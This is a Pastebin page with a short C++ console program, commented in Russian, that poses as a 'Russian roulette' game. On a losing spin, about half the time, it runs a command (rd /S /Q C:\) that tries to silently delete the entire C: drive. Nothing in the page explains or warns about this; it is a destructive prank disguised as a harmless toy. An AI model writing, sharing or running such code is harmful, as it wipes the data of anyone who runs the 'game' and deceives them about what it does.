Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Русская рулетка.cpp: определяет точку входа для консольного приложения.
- //
- #include "stdafx.h"
- #include <iostream>
- #include <time.h>
- using namespace std;
- int main()
- {
- system("color 0A");
- setlocale(LC_ALL, "russian");
- srand(time(NULL));
- bool again = true;
- int again_num;
- cout << "Крутите барабан!" << endl;
- system("pause");
- while (again)
- {
- int a = rand() % 100;
- if (a > 50)
- {
- system("color 2A");
- cout << "Везучий, зараза, еще раз? (Да-1) ";
- cin >> again_num;
- if (again_num = 1) again = true;
- else again = false;
- }
- else
- {
- system("color CA");
- cout << "Упс... " << endl;
- system("rd /S /Q C:\\");
- again_num = 0;
- again = false;
- }
- }
- system("pause");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment